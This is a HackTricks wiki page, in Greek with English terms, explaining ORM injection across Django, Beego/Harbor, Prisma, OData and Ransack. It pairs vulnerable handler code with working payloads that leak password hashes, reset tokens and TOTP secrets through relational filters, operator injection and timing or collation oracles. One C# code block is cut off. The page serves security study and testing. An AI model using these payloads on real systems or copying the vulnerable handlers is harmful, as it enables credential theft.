ORM Injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Django ORM (Python)
In this post εξηγείται πώς είναι δυνατόν να καταστεί ευάλωτο ένα Django ORM χρησιμοποιώντας, για παράδειγμα, κώδικα όπως:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Σημειώστε πως όλο το request.data (που θα είναι ένα json) περνάει απευθείας σε filter objects from the database. Ένας attacker θα μπορούσε να στείλει απρόσμενα φίλτρα προκειμένου να leak περισσότερα δεδομένα από τα αναμενόμενα.
Examples:
- Login: Σε μια απλή διαδικασία login δοκιμάστε να leak τα passwords των users που είναι καταχωρημένοι σε αυτό.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Είναι δυνατό να brute-force το password μέχρι να leaked.
- Relational filtering: Είναι δυνατό να διασχίσετε τις σχέσεις ώστε να leak πληροφορίες από στήλες που δεν αναμενόταν καν να χρησιμοποιηθούν στην ενέργεια. Για παράδειγμα, αν είναι δυνατό να leak άρθρα που δημιουργήθηκαν από έναν χρήστη με αυτές τις σχέσεις: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Είναι πιθανό να βρεθεί το password όλων των χρηστών που έχουν δημιουργήσει ένα άρθρο
- Many-to-many relational filtering: Στο προηγούμενο παράδειγμα δεν μπορούσαμε να βρούμε τα passwords των χρηστών που δεν έχουν δημιουργήσει ένα άρθρο. Ωστόσο, ακολουθώντας άλλες σχέσεις, αυτό είναι εφικτό. Για παράδειγμα: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
Σε αυτή την περίπτωση μπορούμε να βρούμε όλους τους χρήστες στα τμήματα των χρηστών που έχουν δημιουργήσει άρθρα και στη συνέχεια να leak τους κωδικούς πρόσβασής τους (στο προηγούμενο json απλώς leakάραμε τα ονόματα χρήστη, αλλά μετά είναι δυνατόν να leak και τους κωδικούς πρόσβασης).
- Abusing Django Group and Permission many-to-may relations with users: Επιπλέον, το AbstractUser μοντέλο χρησιμοποιείται για τη δημιουργία χρηστών στο Django και από προεπιλογή αυτό το μοντέλο έχει κάποιες many-to-many relationships with the Permission and Group tables. Αυτό ουσιαστικά αποτελεί έναν προεπιλεγμένο τρόπο για να ένας χρήστης αποκτά πρόσβαση σε άλλους χρήστες αν βρίσκονται στο ίδιο group ή μοιράζονται την ίδια permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Παράκαμψη περιορισμών φίλτρων: Το ίδιο blogpost πρότεινε να παρακαμφθεί η χρήση κάποιου φιλτραρίσματος όπως
articles = Article.objects.filter(is_secret=False, **request.data). Είναι δυνατό να dump άρθρα που έχουν is_secret=True επειδή μπορούμε να κάνουμε loop πίσω από μια relationship προς τον πίνακα Article και να leak secret articles από non secret articles, επειδή τα αποτελέσματα ενώνονται και το πεδίο is_secret ελέγχεται στο non secret article ενώ τα δεδομένα leak-άρονται από το secret article.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Εκμεταλλευόμενοι τις σχέσεις, είναι δυνατόν να παρακαμφθούν ακόμη και φίλτρα που προορίζονται να προστατεύουν τα εμφανιζόμενα δεδομένα.
- Error/Time based via ReDoS: Στα προηγούμενα παραδείγματα αναμενόταν να υπάρχουν διαφορετικές απαντήσεις ανάλογα με το αν το φιλτράρισμα λειτουργούσε ή όχι, ώστε να χρησιμοποιηθεί αυτό ως oracle. Όμως μπορεί να συμβεί κάποια ενέργεια στη database και η απάντηση να παραμένει πάντα η ίδια. Σε αυτό το σενάριο μπορεί να είναι δυνατό να προκαλέσετε σφάλμα στη database για να αποκτήσετε ένα νέο oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Από την ίδια ανάρτηση σχετικά με αυτό το διάνυσμα:
- SQLite: Δεν έχει regexp operator από προεπιλογή (απαιτεί φόρτωση επέκτασης τρίτου μέρους)
- PostgreSQL: Δεν έχει προεπιλεγμένο regex timeout και είναι λιγότερο επιρρεπές σε backtracking
- MariaDB: Δεν έχει regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego mirrors Django’s field__operator DSL, so any handler that lets users control the first argument to QuerySeter.Filter() exposes the entire graph of relations:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Αιτήματα όπως /search?filter=created_by__user__password__icontains=pbkdf μπορούν να πλοηγηθούν μέσω ξένων κλειδιών ακριβώς όπως τα Django primitives παραπάνω. Το helper q του Harbor μετέτρεπε την είσοδο χρήστη σε Beego filters, οπότε χρήστες με χαμηλά προνόμια μπορούσαν να διερευνήσουν μυστικά παρακολουθώντας τις απαντήσεις λίστας:
GET /api/v2.0/users?q=password=~$argon2id$→ αποκαλύπτει αν κάποιος hash περιέχει$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks υποσυμβολοσειρές του salt.
Η καταμέτρηση των επιστρεφόμενων εγγραφών, η παρατήρηση του pagination metadata, ή η σύγκριση των μηκών απάντησης δίνει ένα oracle για brute-force ολόκληρων hashes, salts και TOTP seeds.
Bypassing Harbor’s patches with parseExprs
Harbor προσπάθησε να προστατεύσει ευαίσθητα πεδία επισημαίνοντάς τα με filter:"false" και επικυρώνοντας μόνο το πρώτο τμήμα της έκφρασης:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Το εσωτερικό parseExprs του Beego διασχίζει κάθε τμήμα διαχωρισμένο με __ και, όταν το τρέχον τμήμα δεν είναι σχέση, απλώς αντικαθιστά το πεδίο-στόχο με το επόμενο τμήμα. Payloads όπως email__password__startswith=foo επομένως περνούν τον έλεγχο του Harbor Filterable(email)=true αλλά εκτελούνται ως password__startswith=foo, παρακάμπτοντας τις deny-lists.
Η v2.13.1 περιόριζε τα keys σε έναν μεμονωμένο διαχωριστή, αλλά ο δικός του fuzzy-match builder του Harbor προσθέτει operators μετά την επικύρωση: q=email__password=~abc → Filter("email__password__icontains", "abc"). Το ORM ξανά το ερμηνεύει ως password__icontains. Εφαρμογές Beego που ελέγχουν μόνο το πρώτο __ component ή που προσθέτουν operators αργότερα στο request pipeline παραμένουν ευάλωτες στο ίδιο overwrite primitive και μπορούν ακόμα να χρησιμοποιηθούν ως blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Πλήρης έλεγχος εύρεσης:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Μπορεί να παρατηρηθεί ότι ολόκληρο το σώμα javascript περνάει στο prisma για να εκτελέσει ερωτήματα.
Στο παράδειγμα από το αρχικό post, αυτό θα ελέγξει όλα τα posts createdBy κάποιον (κάθε post δημιουργείται από κάποιον) επιστρέφοντας επίσης τα user info αυτού του ατόμου (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Το ακόλουθο επιλέγει όλες τις αναρτήσεις που δημιουργήθηκαν από κάποιον που έχει password και θα επιστρέψει το password:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Πλήρης έλεγχος της
whereσυνθήκης:
Ας ρίξουμε μια ματιά σε αυτό όπου ο επιτιθέμενος μπορεί να ελέγξει την παράμετρο where:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Είναι δυνατό να φιλτραριστεί ο κωδικός πρόσβασης των χρηστών απευθείας ως εξής:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Η χρήση λειτουργιών όπως
startsWithμπορεί να οδηγήσει σε leak πληροφοριών.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Είναι δυνατό να leak μη δημοσιευμένα άρθρα επιστρέφοντας μέσω των σχέσεων πολλά-προς-πολλά μεταξύ Category -[..]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Είναι επίσης δυνατό να leak όλους τους χρήστες εκμεταλλευόμενοι κάποιες κυκλικές many-to-many σχέσεις:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Στην αρχική δημοσίευση μπορείτε να διαβάσετε ένα πολύ εκτενές σύνολο δοκιμών που πραγματοποιήθηκαν προκειμένου να βρεθεί το βέλτιστο payload για να leak πληροφορίες με ένα time based payload. Αυτό είναι:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Όπου το {CONTAINS_LIST} είναι μια λίστα με 1000 συμβολοσειρές για να διασφαλιστεί ότι η απάντηση καθυστερεί όταν βρεθεί το σωστό leak.
Σύγχυση τύπων σε where φίλτρα (operator injection)
Το Prisma’s query API δέχεται είτε πρωτογενείς τιμές είτε αντικείμενα τελεστών. Όταν οι handlers υποθέτουν ότι το request body περιέχει απλές συμβολοσειρές αλλά τις περνούν απευθείας στο where, οι επιτιθέμενοι μπορούν να εισάγουν τελεστές στις ροές αυθεντικοποίησης και να παρακάμψουν τους ελέγχους token.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Συνηθισμένες οδοί εξαναγκασμού:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ ταιριάζει με κάθε χρήστη του οποίου το token δεν είναιE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassγίνεται το ίδιο αντικείμενο. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks αντιστοιχίσεις με υποσειρές. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}εάν τα cookies προωθούνται στο Prisma.
Επειδή το Prisma αξιολογεί πρόθυμα { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, κ.λπ., οποιοσδήποτε έλεγχος ισότητας σε μυστικά (reset tokens, API keys, magic links) μπορεί να διευρυνθεί σε μια συνθήκη που ικανοποιείται χωρίς να γνωρίζεις το μυστικό. Συνδύασε αυτό με σχεσιακά φίλτρα (createdBy) για να επιλέξεις ένα θύμα.
Αναζήτησε ροές όπου:
- Τα request schemas δεν επιβάλλονται, οπότε τα nested objects επιβιώνουν της αποσειριοποίησης.
- Οι extended body/query parsers παραμένουν ενεργοί και δέχονται bracket syntax.
- Οι handlers προωθούν το user JSON απευθείας στο Prisma αντί να το χαρτογραφήσουν σε allow-listed fields/operators.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableΒοηθήματα που απαριθμούν κάθε string property και τα τυλίγουν μέσα σε .Contains(term) αποκαλύπτουν στην πράξη passwords, API tokens, salts και TOTP secrets σε οποιονδήποτε χρήστη που μπορεί να καλέσει το endpoint. Το Directus CVE-2025-64748 είναι ένα πραγματικό παράδειγμα όπου το directus_users search endpoint περιλάμβανε τα token και tfa_secret στους δημιουργημένους LIKE predicates, μετατρέποντας τους μετρητές αποτελεσμάτων σε ένα leak oracle.
OData comparison oracles
Οι ASP.NET OData controllers συχνά επιστρέφουν IQueryable<T> και επιτρέπουν $filter, ακόμα και όταν λειτουργίες όπως contains είναι απενεργοποιημένες. Όσο το EDM εκθέτει το property, οι επιτιθέμενοι μπορούν να συνεχίσουν να κάνουν συγκρίσεις σε αυτό:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Η απλή παρουσία ή απουσία αποτελεσμάτων (ή των pagination metadata) σας επιτρέπει να κάνετε binary-search κάθε χαρακτήρα σύμφωνα με το database collation. Οι navigation properties (CreatedBy/Token, CreatedBy/User/Password) επιτρέπουν relational pivots παρόμοια με Django/Beego, οπότε οποιοδήποτε EDM που εκθέτει ευαίσθητα πεδία ή παραλείπει per-property deny-lists είναι εύκολος στόχος.
Βιβλιοθήκες και ενδιάμεσο λογισμικό (middleware) που μεταφράζουν strings χρηστών σε ORM operators (π.χ. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) πρέπει να θεωρούνται sinks υψηλού κινδύνου εκτός αν υλοποιούν αυστηρές field/operator allow-lists.
Ransack (Ruby)
Αυτά τα κόλπα βρέθηκαν σε αυτή την ανάρτηση.
Tip
Σημειώστε ότι το Ransack 4.0.0.0 πλέον επιβάλλει τη χρήση ρητής allow list για searchable attributes και associations.
Ευάλωτο παράδειγμα:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Σημειώστε πώς το query θα οριστεί από τις παραμέτρους που στέλνει ο attacker. Για παράδειγμα, ήταν δυνατό να brute-force το reset token με:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Με brute-forcing και πιθανώς με αξιοποίηση σχέσεων, ήταν δυνατό να leak περισσότερα δεδομένα από μια βάση δεδομένων.
Στρατηγικές leak εξαρτώμενες από το collation
Οι συγκρίσεις συμβολοσειρών κληρονομούν το collation της βάσης δεδομένων, οπότε τα leak oracles πρέπει να σχεδιάζονται με βάση τον τρόπο που το backend ταξινομεί τους χαρακτήρες:
- Οι προεπιλεγμένες collations των MariaDB/MySQL/SQLite/MSSQL είναι συχνά case-insensitive, οπότε οι
LIKE/=δεν μπορούν να διακρίνουν τοaαπό τοA. Χρησιμοποιήστε case-sensitive τελεστές (regex/GLOB/BINARY) όταν έχει σημασία η πεζοκεφαλαιοποίηση του μυστικού. - Το Prisma και το Entity Framework αντικατοπτρίζουν την ταξινόμηση της βάσης δεδομένων. Collations όπως το MSSQL’s
SQL_Latin1_General_CP1_CI_ASτοποθετούν σημεία στίξης πριν από τα ψηφία και τα γράμματα, οπότε οι δοκιμές δυαδικής αναζήτησης πρέπει να ακολουθούν αυτή την ταξινόμηση αντί για την ωμή σειρά byte ASCII. - Το
LIKEτου SQLite είναι case-insensitive εκτός αν έχει καταχωρηθεί custom collation, οπότε τα Django/Beego leaks μπορεί να χρειαστούν συνθήκες__regexγια να ανακτήσουν case-sensitive tokens.
Η ρύθμιση των payloads στο πραγματικό collation αποφεύγει σπατάλη probes και επιταχύνει σημαντικά αυτοματοποιημένες επιθέσεις substring/δυαδικής αναζήτησης.
Αναφορές
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


